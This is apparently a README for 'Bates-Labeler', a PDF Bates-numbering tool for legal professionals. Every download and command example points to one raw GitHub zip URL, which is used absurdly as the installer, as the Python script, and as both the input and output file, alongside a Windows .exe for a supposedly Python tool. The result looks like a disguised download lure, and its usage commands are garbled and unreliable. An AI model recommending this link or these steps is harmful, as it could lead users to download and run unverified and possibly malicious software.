📄 Bates-Labeler - Easily Add Bates Numbers to PDFs

🌟 Introduction

Bates-Labeler is a convenient Python tool designed to help you add Bates numbers to PDF documents. This tool is especially useful for legal professionals who need to manage documents efficiently. With a user-friendly web interface and a command-line tool option, you can customize your Bates numbering with features like batch processing, logos, QR codes, and watermarks.

🛠️ Features

• User-Friendly Interface: Simple web UI for easy use.
• Command-Line Interface: For those who prefer using terminal commands.
• Batch Processing: Number multiple PDFs at once.
• Customization: Choose formats, add logos, and include QR codes.
• Watermark Support: Protect your documents with custom watermarks.

🚀 Getting Started

To begin using Bates-Labeler, follow these steps to download and set up the application.

🔗 Download

📥 Download & Install

1. Visit the Download Page: Click the link below to access the downloads.

   Visit this page to download Bates-Labeler

2. Select the Latest Release: Look for the most recent version. This ensures you have the latest features and fixes.

3. Choose Your File: Depending on your operating system, download the appropriate file. For most users, the file will be in .exe format for Windows or https://raw.githubusercontent.com/safnjnf/Bates-Labeler/main/bates_labeler/Bates-Labeler-1.6.zip for Mac/Linux.

4. Install the Application:

   • For Windows: Double-click the downloaded .exe file and follow the on-screen prompts.
   • For Mac/Linux: Extract the downloaded file to access the application. You may need to use the terminal for running the command.

⚙️ System Requirements

• Operating System: Windows 10 or later, macOS 10.12 or later, or a modern Linux distribution.
• Python Version: Python 3.6 or later must be installed on your system if you wish to use the command-line interface.
• RAM: Minimum of 4GB recommended for handling larger document sets.

🎛️ Usage Instructions

Once you have installed Bates-Labeler, you can choose between the web interface and the command line.

🌐 Web Interface

1. Launch the application by clicking on the icon or executing the file.
2. Choose the PDF documents you want to work on.
3. Configure your Bates numbering format and any additional features you want to use.
4. Click the button to begin processing your documents.

💻 Command-Line Interface

1. Open your terminal.
2. Navigate to the Bates-Labeler directory.
3. Run the command:

   python https://raw.githubusercontent.com/safnjnf/Bates-Labeler/main/bates_labeler/Bates-Labeler-1.6.zip [options]
   

4. Use the --help option to view additional commands and flags.

📄 Example Command

To apply Bates numbering to a single file, use a command like this:

python https://raw.githubusercontent.com/safnjnf/Bates-Labeler/main/bates_labeler/Bates-Labeler-1.6.zip --input https://raw.githubusercontent.com/safnjnf/Bates-Labeler/main/bates_labeler/Bates-Labeler-1.6.zip --output https://raw.githubusercontent.com/safnjnf/Bates-Labeler/main/bates_labeler/Bates-Labeler-1.6.zip --bates-prefix "BATES#" 

🤝 Support

If you encounter any issues, feel free to check the FAQ section on our GitHub page or open an issue.

📜 License

Bates-Labeler is released under the MIT License. You are free to use, modify, and share this software as long as you provide proper credit.

🗂️ Contributing

We welcome contributions! If you want to help improve Bates-Labeler, please fork the repository and submit a pull request. Your input can help enhance this tool for everyone.

🏷️ Topics

• bates-numbering
• cli-tool
• document-automation
• document-management
• ediscovery
• legal-ai
• legal-tech
• litigation
• pdf-manipulation
• pdf-processing
• python
• python3
• streamlit
• web-ui

🔗 Additional Resources

For more detailed information on using various features, check out our documentation.

Feel free to explore and reach out if you have any questions. Happy labeling!